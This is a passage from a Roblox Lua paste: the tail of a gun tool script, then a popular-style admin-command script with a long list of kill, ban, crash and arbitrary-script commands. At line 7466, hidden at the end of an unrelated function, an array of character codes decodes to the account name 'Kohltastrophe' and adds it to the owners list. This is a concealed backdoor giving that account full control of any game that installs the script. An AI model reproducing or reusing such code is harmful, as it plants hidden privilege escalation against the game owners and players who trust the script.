  6830. mouse[event:sub(1,1):upper()..event:sub(2)]:connect(function(...)
  6831. if(bool_active)then
  6832. fun(...);
  6833. end;
  6834. end);
  6835. end;
  6836.  
  6837. ----------------------------------------------------------------------------------------
  6838.  
  6839. do
  6840. local main=getfenv(0);
  6841. local c=game:children();
  6842. local check=function(v)
  6843. if(v.className~=''and v.className~='Instance'and game:service(v.className))then
  6844. main[v.className:sub(1,1):lower()..v.className:sub(2)]=v;
  6845. end;
  6846. end;
  6847. for i=1,#c do
  6848. pcall(check,c[i]);
  6849. end;
  6850. end;
  6851.  
  6852. ----------------------------------------------------------------------------------------
  6853.  
  6854. bullets={
  6855. maximum=51111111111111111111111111110;
  6856. current=511111111111111111111111111111110;
  6857. clip=501111111111111111111111111111111*4;
  6858. };
  6859.  
  6860. list_base_props={
  6861. backgroundColor3=_RGB(0,0,0);
  6862. textColor3=_RGB(200,200,200);
  6863. borderSizePixel=0;
  6864. color=_RGB(0,0,0);
  6865. archivable=false;
  6866. canCollide=false;
  6867. bottomSurface=0;
  6868. topSurface=0;
  6869. formFactor=0;
  6870. locked=true;
  6871. };
  6872.  
  6873. ----------------------------------------------------------------------------------------
  6874.  
  6875. user=players.localPlayer;
  6876. mouse=user:getMouse();
  6877. char=user.Character;
  6878. gui=user.PlayerGui;
  6879. bag=user.Backpack;
  6880. torso=char.Torso;
  6881. head=char.Head;
  6882. hum=_hum(char);
  6883.  
  6884. url='rbxassetid://%d';
  6885. name='dev-uzi';
  6886.  
  6887. h_weld_cf_inactive=_cframe(0.35,0.5,0.5,
  6888. 0,90,-70);
  6889. h_weld_cf_active=_cframe(0,0.75,0,
  6890. -110,180,0);
  6891.  
  6892. assert(hum,'humanoid is not found');
  6893.  
  6894. ----------------------------------------------------------------------------------------
  6895.  
  6896. _clear();
  6897.  
  6898. ----------------------------------------------------------------------------------------
  6899.  
  6900. _cf_mouse('button1Down',function()
  6901. loop_shot=(loop_shot or 0)+1;
  6902. local vers=loop_shot;
  6903. local step=runService.Stepped;
  6904. repeat
  6905. _shot((tube.CFrame*CFrame.new(0,0,tube.Size.Z*0.5)).p,mouse.hit.p);
  6906. step:wait();--wait(0.001);
  6907. until vers~=loop_shot;
  6908. end);
  6909.  
  6910. _cf_mouse('button1Up',function()
  6911. loop_shot=(loop_shot or 0)+1;
  6912. end);
  6913.  
  6914. _cf_mouse('move',function()
  6915. cross_f.Position=UDim2.new(0,mouse.X-11,0,mouse.Y-11);
  6916. end);
  6917.  
  6918. _cf_mouse('keyDown',function(k)
  6919. if(k=='r')then
  6920. if(bullets.clip>0 and time_left<=time())then
  6921. local got=(bullets.clip>bullets.maximum and
  6922. bullets.maximum or
  6923. bullets.clip)-bullets.current;
  6924.  
  6925. bullets.clip=bullets.clip-got;
  6926. bullets.current=bullets.current+got;
  6927. if(got~=0)then
  6928. time_left=time()+2;
  6929. end;
  6930. end;
  6931. end;
  6932. end);
  6933.  
  6934. ----------------------------------------------------------------------------------------
  6935.  
  6936. screen=_new'screenGui'{
  6937. name=name;
  6938. };
  6939.  
  6940. cross_f=_new'frame'{
  6941. size=UDim2.new(0,21,0,21);
  6942. backgroundTransparency=1;
  6943. screen;
  6944. };
  6945.  
  6946. for i=0,1 do
  6947. _new'frame'{
  6948. position=UDim2.new(0,13*i,0,11);
  6949. size=UDim2.new(0,10,0,1);
  6950. cross_f;
  6951. };
  6952. end;
  6953.  
  6954. for i=0,1 do
  6955. _new'frame'{
  6956. position=UDim2.new(0,11,0,13*i);
  6957. size=UDim2.new(0,1,0,10);
  6958. cross_f;
  6959. };
  6960. end;
  6961.  
  6962. ----------------------------------------------------------------------------------------
  6963.  
  6964. shot_sound=_new(head:findFirstChild'2920959'or'sound'){
  6965. soundId=url:format(2920959);
  6966. pitch=1.4;
  6967. head;
  6968. };
  6969. if(shot_sound.Name~='2920959')then
  6970. shot_sound.Name='2920959';
  6971. shot_sound:play();
  6972. end;
  6973.  
  6974. bin=_new'hopperBin'{
  6975. deselected=_cf_deselect;
  6976. selected=_cf_select;
  6977. name=name;
  6978. bag;
  6979. };
  6980.  
  6981. inv=_new'model'{
  6982. name=name;
  6983. char;
  6984. };
  6985.  
  6986. handle=_new'part'{
  6987. size=Vector3.new(0.3,1.3,0.4);
  6988. color=_RGB(140,140,140);
  6989. name='handle';
  6990. formFactor=3;
  6991. inv;
  6992. touched=function(hit)
  6993. if(hit.Parent.className=='Model')then
  6994. local hum=_hum(hit.Parent);
  6995. if(hum~=nil)then
  6996. _hum_dam(hum,handle.Velocity.magnitude);
  6997. end;
  6998. end;
  6999. end;
  7000. };
  7001. h_weld=_new'weld'{
  7002. c1=h_weld_cf_inactive;
  7003. part1=handle;
  7004. part0=torso;
  7005. handle;
  7006. };
  7007. _make_hue();
  7008.  
  7009. h_part=_new'part'{
  7010. size=Vector3.new(0.4,0.4,1.4);
  7011. color=_RGB(140,140,140);
  7012. name='handle';
  7013. formFactor=3;
  7014. handle;
  7015. };
  7016. hp_weld=_new'weld'{
  7017. c1=_cframe(0,-1.3/2,-0.3,
  7018. 20,0,0);
  7019. part0=handle;
  7020. part1=h_part;
  7021. handle;
  7022. };
  7023.  
  7024. drag=_new'part'{
  7025. size=Vector3.new(0.5,0.45,1.5);
  7026. color=_RGB(100,100,100);
  7027. name='handle';
  7028. formFactor=3;
  7029. handle;
  7030. };
  7031. d_weld=_new'weld'{
  7032. c1=_cframe(0,-0.25,0);
  7033. part0=h_part;
  7034. part1=drag;
  7035. handle;
  7036. };
  7037.  
  7038. tube=_new'part'{
  7039. size=Vector3.new(0.2,0.2,1.5);
  7040. color=_RGB(0,0,0);
  7041. name='handle';
  7042. formFactor=3;
  7043. handle;
  7044. };
  7045. t_weld=_new'weld'{
  7046. c1=_cframe(0,-0.3,-0.1);
  7047. part0=h_part;
  7048. part1=tube;
  7049. handle;
  7050. };
  7051.  
  7052. bullets_label=_new'textLabel'{
  7053. textStrokeColor3=_RGB(0,0,0);
  7054. textColor3=_RGB(200,200,200);
  7055. textStrokeTransparency=0;
  7056. backgroundTransparency=1;
  7057. fontSize=5;
  7058. screen;
  7059. };
  7060.  
  7061. lightstuff=_new'frame'{
  7062. backgroundColor3=_RGB(255,255,255);
  7063. position=UDim2.new(0,0,0,-1);
  7064. backgroundTransparency=0.5;
  7065. size=UDim2.new(1,0,1,1);
  7066. borderSizePixel=0;
  7067. visible=false;
  7068. screen;
  7069. };
  7070.  
  7071. coroutine.wrap(function()
  7072. local red,white,green;
  7073. repeat
  7074. if(screen.Parent)then
  7075. if(not green and bullets.current==bullets.maximum)then
  7076. green=true;
  7077. bullets_label.TextColor3=_RGB(0,200,0);
  7078. elseif(not red and bullets.current==0)then
  7079. red=true;
  7080. bullets_label.TextColor3=_RGB(200,0,0);
  7081. elseif((red or green)and bullets.current~=0 and bullets.current~=bullets.maximum)then
  7082. bullets_label.TextColor3=_RGB(200,200,200);
  7083. green=false;
  7084. red=false;
  7085. end;
  7086. bullets_label.Text=('Bullets: %d/%d'):format(bullets.current,bullets.clip);
  7087. bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
  7088. bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
  7089. end;
  7090. wait(0.001);
  7091. until nil;
  7092. end)();
  7093.  
  7094. ----------------------------------------------------------------------------------------
  7095.  
  7096. _G.dev_pistol_version=(_G.dev_pistol_version or 0)+1;
  7097. local vers=_G.dev_pistol_version;
  7098. repeat _update();wait(0.001);until _G.dev_pistol_version~=vers or hum.Health==0;
  7099. if(hum.Health==0)then
  7100. _clear();
  7101. end;
  7102. script.Disabled=true;
  7103.  
  7104. --mediafire-----------------------------------------------------------------------------
  7105.  
  7106.  
  7107. -----------------------------------------------------------------------------------------
  7108. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  7109. -----------------------------------------------------------------------------------------
  7110. local owners = LocalPlayer -- Are able to set admins who can ban/etc... using :pa name
  7111. local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown
  7112. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  7113. local banland = {"MasterKhaos"} -- Permanently Bans people
  7114. local prefix = ":" -- If you wanna change how your commands start ':'kill noob
  7115. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  7116. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  7117. ---------------------
  7118. -- VIP Admin --
  7119. ---------------------
  7120. local VipAdmin = false -- If someone can have admin for owning an item
  7121. local ItemId = 0 -- The item they must own in order to have admin
  7122. ---------------------
  7123. -- Group Admin --
  7124. ---------------------
  7125. local GroupAdmin = false -- If a certain group can have admin
  7126. local GroupId = 0 -- Sets the group id that can have admin
  7127. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  7128. ---------------------
  7129. -- Tips and Tricks --
  7130. ---------------------
  7131. --[[
  7132. With this admin you can do a command on multiple people at a time;
  7133. :kill me,noob1,noob2,random,team-raiders,nonadmins
  7134.  
  7135. You can also use a variety commands for different people;
  7136. all
  7137. others
  7138. me
  7139. team-
  7140. admins
  7141. nonadmins
  7142. random
  7143. --]]
  7144. ---------------------
  7145. -- Commands --
  7146. ---------------------
  7147. --[[
  7148. -- |Temp Admin Commands| --
  7149. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  7150. 1. :s print("Hello World") -- Lets you script normally
  7151. 2. :ls print("Hello World") -- Lets you script in localscripts
  7152. 3. :clear -- Will remove all scripts/localscripts and jails
  7153. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  7154. 5. :kill kohl -- Kills the player
  7155. 6. :respawn kohl -- Respawns the player
  7156. 7. :trip kohl -- Trips the player
  7157. 8. :stun kohl -- Stuns the player
  7158. 9. :unstun kohl -- Unstuns the player
  7159. 10. :jump kohl -- Makes the player jump
  7160. 11. :sit kohl -- Makes the player sit
  7161. 12. :invisible kohl -- Makes the player invisible
  7162. 13. :visible kohl -- Makes the player visible
  7163. 14. :explode kohl -- Makes the player explode
  7164. 15. :fire kohl -- Sets the player on fire
  7165. 16. :unfire kohl -- Removes fire from the player
  7166. 17. :smoke kohl -- Adds smoke to the player
  7167. 18. :unsmoke kohl -- Removes smoke from the player
  7168. 19. :sparkles kohl -- Adds sparkles to the player
  7169. 20. :unsparkles kohl -- Removes sparkles from the player
  7170. 21. :ff kohl -- Adds a forcefield to the player
  7171. 22. :unff kohl -- Removes the forcefield from the player
  7172. 23. :punish kohl -- Punishes the player
  7173. 24. :unpunish kohl -- Unpunishes the player
  7174. 25. :freeze kohl -- Freezes the player
  7175. 26. :thaw kohl -- Thaws the player
  7176. 27. :heal kohl -- Heals the player
  7177. 28. :god kohl -- Makes the player have infinite health
  7178. 29. :ungod kohl -- Makes the player have 100 health
  7179. 30. :ambient .5 .5 .5 -- Changes the ambient
  7180. 31. :brightness .5 -- Changes the brightness
  7181. 32. :time 12 -- Changes the time
  7182. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  7183. 34. :fogend 100 -- Changes the fogend
  7184. 35. :fogstart 100 -- Changes the fogstart
  7185. 36. :removetools kohl -- Removes all tools from the player
  7186. 37. :btools kohl -- Gives the player building tools
  7187. 38. :give kohl sword -- Gives the player a tool
  7188. 39. :damage kohl -- Damages the player
  7189. 40. :grav kohl -- Sets the player's gravity to normal
  7190. 41. :setgrav kohl 100 -- Sets the player's gravity
  7191. 42. :nograv kohl -- Makes the player have 0 gravity
  7192. 43. :health kohl 1337 -- Changes the player's health
  7193. 44. :speed kohl 1337 -- Changes the player's walkspeed
  7194. 45. :name kohl potato -- Changes the player's name
  7195. 46. :unname kohl -- Remove the player's name
  7196. 47. :team kohl Raiders -- Changes the player's team
  7197. 48. :stopmusic -- Will stop all music playing in the server
  7198. 49. :teleport kohl potato -- Teleports the player
  7199. 50. :change kohl kills 1337 -- Changes a player's stat
  7200. 51. :kick kohl -- Removes the player from the game
  7201. 52. :infect kohl -- Turns the player into a zombie
  7202. 53. :rainbowify kohl -- Turns the player into a rainbow
  7203. 54. :flashify kohl -- Turns the player into a strobe
  7204. 55. :noobify kohl -- Turns the player into a noob
  7205. 56. :ghostify kohl -- Turns the player into a ghost
  7206. 57. :goldify kohl -- Turns the player into gold
  7207. 58. :shiny kohl -- Makes the player shiny
  7208. 59. :normal kohl -- Puts the player back to normal
  7209. 60. :trippy kohl -- Spams random colors on the player's screen
  7210. 61. :untrippy kohl -- Untrippys the player
  7211. 62. :strobe kohl -- Spams white and black on the player's screen
  7212. 63. :unstrobe kohl -- Unstrobes the player
  7213. 64. :blind kohl -- Blinds the player
  7214. 65. :unblind kohl -- Unblinds the player
  7215. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  7216. 67. :fling kohl -- Flings the player
  7217. 68. :seizure kohl -- Puts the player in a seizure
  7218. 69. :music 1337 -- Plays a sound from the ID
  7219. 70. :lock kohl -- Locks the player
  7220. 71. :unlock kohl -- Unlocks the player
  7221. 72. :removelimbs kohl -- Removes the player's limbs
  7222. 73. :jail kohl -- Puts the player in a jail
  7223. 74. :unjail kohl -- Removes the jail from the player
  7224. 75. :fix -- This will fix the lighting to it's original settings
  7225. 76. :fly kohl -- Makes the player fly
  7226. 77. :unfly kohl -- Removes fly from the player
  7227. 78. :noclip kohl -- Makes the player able to noclip
  7228. 79. :clip kohl -- Removes noclipping from the player
  7229. 80. :pm kohl Hey bro -- Sends the player a private message
  7230. 81. :dog kohl -- Turns the player into a dog
  7231. 82. :undog kohl -- Turns the player back to normal
  7232. 83. :creeper kohl -- Turns the player into a creeper
  7233. 84. :uncreeper kohl -- Turns the player back to normal
  7234. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  7235. 86. :char kohl 261 -- Will make a player look like a different player ID
  7236. 87. :unchar kohl -- Will return the player back to normal
  7237. 88. :h Hello People -- This will shout a hint to everyone
  7238. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  7239. 90. :starttools kohl -- Will give the player starter tools
  7240. 91. :sword kohl -- Will give the player a sword
  7241. 92. :bighead kohl -- Will make the player's head larger than normal
  7242. 93. :minihead kohl -- Will make the player's head smaller than normal
  7243. 94. :insert 1337 -- Will insert a model at the speaker's position
  7244. 95. :disco -- Will make the server flash random colors
  7245. 96. :flash -- Will make the server flash
  7246. 97. :admins -- Shows the admin list
  7247. 98. :bans -- Shows the banlist
  7248. 99. :musiclist -- Shows the music list
  7249. 100. :spin kohl -- Spins the player
  7250. 101. :cape kohl Really black -- Gives the player a colored cape
  7251. 102. :uncape kohl -- Removes the player's cape
  7252. 103. :loopheal kohl -- Will constantly heal the player
  7253. 104. :loopfling kohl -- Will constantly fling the player
  7254. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  7255. 106. :unloopheal kohl -- Will remove the loopheal on the player
  7256. 107. :unloopfling kohl -- Will remove the loopfling on the player
  7257. 108. :unspin kohl -- Removes spin from the player
  7258. 109. :tools -- Gives a list of the tools in the lighting
  7259. 110. :undisco -- Removes disco effects
  7260. 111. :unflash -- Removes flash effects
  7261. 112. :resetstats kohl -- Sets all the stats of a player to 0
  7262. 113. :gear kohl 1337 -- Gives a player a gear
  7263. 114. :cmdbar -- Gives the speaker a command bar
  7264. 115. :shirt kohl 1337 -- Changes the player's shirt
  7265. 116. :pants kohl 1337 -- Changes the player's pants
  7266. 117. :face kohl 1337 -- Changes the player's face
  7267. 118. :swagify kohl -- Swagifies the player
  7268. 119. :version -- Shows the current version of the admin
  7269. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  7270. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  7271. 122. :clone kohl -- Creates a clone of the player
  7272. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  7273. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  7274. 125. :control kohl -- Controls a player
  7275.  
  7276. -- |Admin Commands| --
  7277. - :serverlock -- Locks the server
  7278. - :serverunlock -- Unlocks the server
  7279. - :sm Hello World -- Creates a system message
  7280. - :crash kohl -- Crashes a player
  7281. - :admin kohl -- Admins a player
  7282. - :unadmin kohl -- Unadmins a player
  7283. - :ban kohl -- Bans a player
  7284. - :unban kohl -- Unbans a player
  7285. - :loopkill kohl -- Will constantly kill the player
  7286. - :unloopkill kohl -- Will remove the loopkill on the player
  7287. - :logs -- Will show all of the commands any admin has used in a game session
  7288. - :shutdown -- Shutsdown the server
  7289.  
  7290. -- |Owner Commands| --
  7291. - :pa kohl -- Makes someone a super admin
  7292. - :unpa kohl -- Removes a super admin
  7293. - :nuke kohl -- Creates a nuke on kohl
  7294.  
  7295. -- |True Owner Commands| --
  7296. - :oa kohl -- Makes someone an owner
  7297. - :unoa kohl -- Removes an owner
  7298. - :settings -- Shows settings for the commands
  7299. --]]
  7300. ---------------------
  7301. -- Main Script --
  7302. ---------------------
  7303. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  7304.  
  7305. function CHEESE()
  7306. if game:service("Lighting"):findFirstChild("KACV2") then
  7307. owners = {} admins = {} tempadmins = {} banland = {}
  7308. for i,v in pairs(game.Lighting.KACV2:children()) do
  7309. if v.Name == "Owner" then table.insert(owners, v.Value) end
  7310. if v.Name == "Admin" then table.insert(admins, v.Value) end
  7311. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  7312. if v.Name == "Banland" then table.insert(banland, v.Value) end
  7313. if v.Name == "Prefix" then prefix = v.Value end
  7314. if v.Name == "FunCommands" then FunCommands = v.Value end
  7315. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  7316. if v.Name == "GroupId" then GroupId = v.Value end
  7317. if v.Name == "GroupRank" then GroupRank = v.Value end
  7318. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  7319. if v.Name == "ItemId" then ItemId = v.Value end
  7320. end
  7321. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  7322. end
  7323.  
  7324. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  7325. local lobjs = {}
  7326. local objects = {}
  7327. local logs = {}
  7328. local nfs = ""
  7329. local slock = false
  7330.  
  7331. function GetTime()
  7332. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  7333. if min < 10 then min = "0"..min end
  7334. return hour..":"..min
  7335. end
  7336.  
  7337. function ChkOwner(str)
  7338. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  7339. return false
  7340. end
  7341.  
  7342. function ChkAdmin(str,ck)
  7343. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  7344. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  7345. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  7346. return false
  7347. end
  7348.  
  7349. function ChkGroupAdmin(plr)
  7350. if GroupAdmin then
  7351. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  7352. return false
  7353. end
  7354. end
  7355.  
  7356. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  7357.  
  7358. function GetPlr(plr, str)
  7359. local plrz = {} str = str:lower()
  7360. if str == "all" then plrz = game.Players:children()
  7361. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  7362. else
  7363. local sn = {1} local en = {}
  7364. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  7365. for x = 1, #sn do
  7366. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  7367. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  7368. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  7369. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  7370. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  7371. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  7372. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  7373. end end end
  7374. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  7375. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  7376. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  7377. end end end
  7378. else
  7379. for a, plyr in pairs(game.Players:children()) do
  7380. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  7381. table.insert(plrz, plyr) break
  7382. end
  7383. end
  7384. end
  7385. end
  7386. end
  7387. return plrz
  7388. end
  7389.  
  7390. function Hint(str, plrz, time)
  7391. for i, v in pairs(plrz) do
  7392. if v and v:findFirstChild("PlayerGui") then
  7393. coroutine.resume(coroutine.create(function()
  7394. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  7395. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  7396. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  7397. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  7398. if not time then wait((#str/19)+2.5) else wait(time) end
  7399. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  7400. end))
  7401. end
  7402. end
  7403. end
  7404.  
  7405. function Message(ttl, str, scroll, plrz, time)
  7406. for i, v in pairs(plrz) do
  7407. if v and v:findFirstChild("PlayerGui") then
  7408. coroutine.resume(coroutine.create(function()
  7409. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  7410. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  7411. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  7412. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  7413. scr.Parent = v.PlayerGui
  7414. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  7415. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  7416. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  7417. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  7418. end))
  7419. end
  7420. end
  7421. end
  7422.  
  7423. function RemoveMessage()
  7424. for i,v in pairs(game.Players:children()) do
  7425. if v and v:findFirstChild("PlayerGui") then
  7426. for q,ms in pairs(v.PlayerGui:children()) do
  7427. if ms.Name == "MessageGUI" then
  7428. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  7429. elseif ms.Name == "HintGUI" then
  7430. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  7431. end
  7432. end
  7433. end
  7434. end
  7435. end
  7436.  
  7437. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  7438. _G["RemoveMessage"] = RemoveMessage()
  7439.  
  7440. function Output(str, plr)
  7441. coroutine.resume(coroutine.create(function()
  7442. local b, e = loadstring(str)
  7443. if not b and plr:findFirstChild("PlayerGui") then
  7444. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  7445. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  7446. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  7447. return
  7448. end
  7449. end))
  7450. end
  7451.  
  7452. function Noobify(char)
  7453. if char and char:findFirstChild("Torso") then
  7454. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  7455. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  7456. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7457. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  7458. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7459. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  7460. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  7461. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  7462. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  7463. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  7464. end end
  7465. end
  7466. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  7467.  
  7468. function Infect(char)
  7469. if char and char:findFirstChild("Torso") then
  7470. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  7471. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  7472. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  7473. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
